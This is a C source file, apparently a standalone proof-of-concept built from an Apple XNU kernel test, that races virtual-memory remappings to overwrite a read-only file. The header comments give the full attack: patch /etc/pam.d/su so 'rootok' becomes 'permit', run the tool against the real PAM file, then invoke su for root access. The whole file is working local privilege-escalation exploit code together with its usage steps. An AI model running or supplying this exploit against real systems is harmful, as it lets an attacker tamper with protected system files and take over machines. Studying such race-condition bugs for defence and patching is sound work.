vm_unaligned_copy_switch_race.c

// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c
// modified to compile outside of XNU

// clang -o switcharoo vm_unaligned_copy_switch_race.c
// sed -e "s/rootok/permit/g" /etc/pam.d/su > overwrite_file.bin
// ./switcharoo /etc/pam.d/su overwrite_file.bin
// su

#include <pthread.h>
#include <dispatch/dispatch.h>
#include <stdio.h>

#include <mach/mach_init.h>
#include <mach/mach_port.h>
#include <mach/vm_map.h>

#include <fcntl.h>
#include <sys/mman.h>

#define T_QUIET
#define T_EXPECT_MACH_SUCCESS(a, b)
#define T_EXPECT_MACH_ERROR(a, b, c)
#define T_ASSERT_MACH_SUCCESS(a, b, ...)
#define T_ASSERT_MACH_ERROR(a, b, c)
#define T_ASSERT_POSIX_SUCCESS(a, b)
#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
#define T_ASSERT_TRUE(a, b, ...)
#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
#define T_DECL(a, b) static void a(void)
#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)

static const char* g_arg_target_file_path;
static const char* g_arg_overwrite_file_path;

struct context1 {
	vm_size_t obj_size;
	vm_address_t e0;
	mach_port_t mem_entry_ro;
	mach_port_t mem_entry_rw;
	dispatch_semaphore_t running_sem;
	pthread_mutex_t mtx;
	bool done;
};

static void *
switcheroo_thread(__unused void *arg)
{
	kern_return_t kr;
	struct context1 *ctx;

	ctx = (struct context1 *)arg;
	/* tell main thread we're ready to run */
	dispatch_semaphore_signal(ctx->running_sem);
	while (!ctx->done) {
		/* wait for main thread to be done setting things up */
		pthread_mutex_lock(&ctx->mtx);
		/* switch e0 to RW mapping */
		kr = vm_map(mach_task_self(),
		    &ctx->e0,
		    ctx->obj_size,
		    0,         /* mask */
		    VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
		    ctx->mem_entry_rw,
		    0,
		    FALSE,         /* copy */
		    VM_PROT_READ | VM_PROT_WRITE,
		    VM_PROT_READ | VM_PROT_WRITE,
		    VM_INHERIT_DEFAULT);
		T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW");
		/* wait a little bit */
		usleep(100);
		/* switch bakc to original RO mapping */
		kr = vm_map(mach_task_self(),
		    &ctx->e0,
		    ctx->obj_size,
		    0,         /* mask */
		    VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
		    ctx->mem_entry_ro,
		    0,
		    FALSE,         /* copy */
		    VM_PROT_READ,
		    VM_PROT_READ,
		    VM_INHERIT_DEFAULT);
		T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO");
		/* tell main thread we're don switching mappings */
		pthread_mutex_unlock(&ctx->mtx);
		usleep(100);
	}
	return NULL;
}

T_DECL(unaligned_copy_switch_race,
    "Test that unaligned copy respects read-only mapping")
{
	pthread_t th = NULL;
	int ret;
	kern_return_t kr;
	time_t start, duration;
	mach_msg_type_number_t cow_read_size;
	vm_size_t copied_size;
	int loops;
	vm_address_t e2, e5;
	struct context1 context1, *ctx;
	int kern_success = 0, kern_protection_failure = 0, kern_other = 0;
	vm_address_t ro_addr, tmp_addr;
	memory_object_size_t mo_size;

	ctx = &context1;
	ctx->obj_size = 256 * 1024;
	ctx->e0 = 0;
	ctx->running_sem = dispatch_semaphore_create(0);
	T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create");
	ret = pthread_mutex_init(&ctx->mtx, NULL);
	T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init");
	ctx->done = false;
	ctx->mem_entry_rw = MACH_PORT_NULL;
	ctx->mem_entry_ro = MACH_PORT_NULL;
#if 0
	/* allocate our attack target memory */
	kr = vm_allocate(mach_task_self(),
	    &ro_addr,
	    ctx->obj_size,
	    VM_FLAGS_ANYWHERE);
	T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr");
	/* initialize to 'A' */
	memset((char *)ro_addr, 'A', ctx->obj_size);
#endif
	int fd = open(g_arg_target_file_path, O_RDONLY | O_CLOEXEC);
	ro_addr = (uintptr_t)mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, fd, 0);
	/* make it read-only */
	kr = vm_protect(mach_task_self(),
	    ro_addr,
	    ctx->obj_size,
	    TRUE,             /* set_maximum */
	    VM_PROT_READ);
	T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr");
	/* make sure we can't get read-write handle on that target memory */
	mo_size = ctx->obj_size;
	kr = mach_make_memory_entry_64(mach_task_self(),
	    &mo_size,
	    ro_addr,
	    MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
	    &ctx->mem_entry_ro,
	    MACH_PORT_NULL);
	T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO");
	/* take read-only handle on that target memory */
	mo_size = ctx->obj_size;
	kr = mach_make_memory_entry_64(mach_task_self(),
	    &mo_size,
	    ro_addr,
	    MAP_MEM_VM_SHARE | VM_PROT_READ,
	    &ctx->mem_entry_ro,
	    MACH_PORT_NULL);
	T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO");
	T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
	/* make sure we can't map target memory as writable */
	tmp_addr = 0;
	kr = vm_map(mach_task_self(),
	    &tmp_addr,
	    ctx->obj_size,
	    0,         /* mask */
	    VM_FLAGS_ANYWHERE,
	    ctx->mem_entry_ro,
	    0,
	    FALSE,         /* copy */
	    VM_PROT_READ,
	    VM_PROT_READ | VM_PROT_WRITE,
	    VM_INHERIT_DEFAULT);
	T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
	tmp_addr = 0;
	kr = vm_map(mach_task_self(),
	    &tmp_addr,
	    ctx->obj_size,
	    0,         /* mask */
	    VM_FLAGS_ANYWHERE,
	    ctx->mem_entry_ro,
	    0,
	    FALSE,         /* copy */
	    VM_PROT_READ | VM_PROT_WRITE,
	    VM_PROT_READ | VM_PROT_WRITE,
	    VM_INHERIT_DEFAULT);
	T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");

	/* allocate a source buffer for the unaligned copy */
	kr = vm_allocate(mach_task_self(),
	    &e5,
	    ctx->obj_size,
	    VM_FLAGS_ANYWHERE);
	T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5");
	/* initialize to 'C' */
	memset((char *)e5, 'C', ctx->obj_size);

	FILE* overwrite_file = fopen(g_arg_overwrite_file_path, "r");
	fseek(overwrite_file, 0, SEEK_END);
	size_t overwrite_length = ftell(overwrite_file);
	if (overwrite_length >= PAGE_SIZE) {
		fprintf(stderr, "too long!\n");
		exit(1);
	}
	fseek(overwrite_file, 0, SEEK_SET);
	char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - overwrite_length);
	fread(e5_overwrite_ptr, 1, overwrite_length, overwrite_file);
	fclose(overwrite_file);

	int overwrite_first_diff_offset = -1;
	char overwrite_first_diff_value = 0;
	for (int off = 0; off < overwrite_length; off++) {
		if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) {
			overwrite_first_diff_offset = off;
			overwrite_first_diff_value = ((char*)ro_addr)[off];
		}
	}
	if (overwrite_first_diff_offset == -1) {
		fprintf(stderr, "no diff?\n");
		exit(1);
	}

	/*
	 * get a handle on some writable memory that will be temporarily
	 * switched with the read-only mapping of our target memory to try
	 * and trick copy_unaligned to write to our read-only target.
	 */
	tmp_addr = 0;
	kr = vm_allocate(mach_task_self(),
	    &tmp_addr,
	    ctx->obj_size,
	    VM_FLAGS_ANYWHERE);
	T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory");
	/* initialize to 'D' */
	memset((char *)tmp_addr, 'D', ctx->obj_size);
	/* get a memory entry handle for that RW memory */
	mo_size = ctx->obj_size;
	kr = mach_make_memory_entry_64(mach_task_self(),
	    &mo_size,
	    tmp_addr,
	    MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
	    &ctx->mem_entry_rw,
	    MACH_PORT_NULL);
	T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW");
	T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
	kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size);
	T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr);
	tmp_addr = 0;

	pthread_mutex_lock(&ctx->mtx);

	/* start racing thread */
	ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx);
	T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create");

	/* wait for racing thread to be ready to run */
	dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER);

	duration = 10; /* 10 seconds */
	T_LOG("Testing for %ld seconds...", duration);
	for (start = time(NULL), loops = 0;
	    time(NULL) < start + duration;
	    loops++) {
		/* reserve space for our 2 contiguous allocations */
		e2 = 0;
		kr = vm_allocate(mach_task_self(),
		    &e2,
		    2 * ctx->obj_size,
		    VM_FLAGS_ANYWHERE);
		T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0");

		/* make 1st allocation in our reserved space */
		kr = vm_allocate(mach_task_self(),
		    &e2,
		    ctx->obj_size,
		    VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240));
		T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2");
		/* initialize to 'B' */
		memset((char *)e2, 'B', ctx->obj_size);

		/* map our read-only target memory right after */
		ctx->e0 = e2 + ctx->obj_size;
		kr = vm_map(mach_task_self(),
		    &ctx->e0,
		    ctx->obj_size,
		    0,         /* mask */
		    VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241),
		    ctx->mem_entry_ro,
		    0,
		    FALSE,         /* copy */
		    VM_PROT_READ,
		    VM_PROT_READ,
		    VM_INHERIT_DEFAULT);
		T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro");

		/* let the racing thread go */
		pthread_mutex_unlock(&ctx->mtx);
		/* wait a little bit */
		usleep(100);

		/* trigger copy_unaligned while racing with other thread */
		kr = vm_read_overwrite(mach_task_self(),
		    e5,
		    ctx->obj_size,
		    e2 + overwrite_length,
		    &copied_size);
		T_QUIET;
		T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE,
		    "vm_read_overwrite kr %d", kr);
		switch (kr) {
		case KERN_SUCCESS:
			/* the target was RW */
			kern_success++;
			break;
		case KERN_PROTECTION_FAILURE:
			/* the target was RO */
			kern_protection_failure++;
			break;
		default:
			/* should not happen */
			kern_other++;
			break;
		}
		/* check that our read-only memory was not modified */
		T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified");

		/* tell racing thread to stop toggling mappings */
		pthread_mutex_lock(&ctx->mtx);

		/* clean up before next loop */
		vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size);
		ctx->e0 = 0;
		vm_deallocate(mach_task_self(), e2, ctx->obj_size);
		e2 = 0;
	}

	ctx->done = true;
	pthread_join(th, NULL);

	kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw);
	T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)");
	kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro);
	T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)");
	kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size);
	T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)");
	kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size);
	T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)");


	T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d",
	    kern_success, kern_protection_failure, kern_other);
	T_PASS("Ran %d times in %ld seconds with no failure", loops, duration);
}

int main(int argc, char** argv) {
	if (argc != 3) {
		fprintf(stderr, "usage: switcharoo target_file overwrite_file\n");
		return 0;
	}
	g_arg_target_file_path = argv[1];
	g_arg_overwrite_file_path = argv[2];
	unaligned_copy_switch_race();
}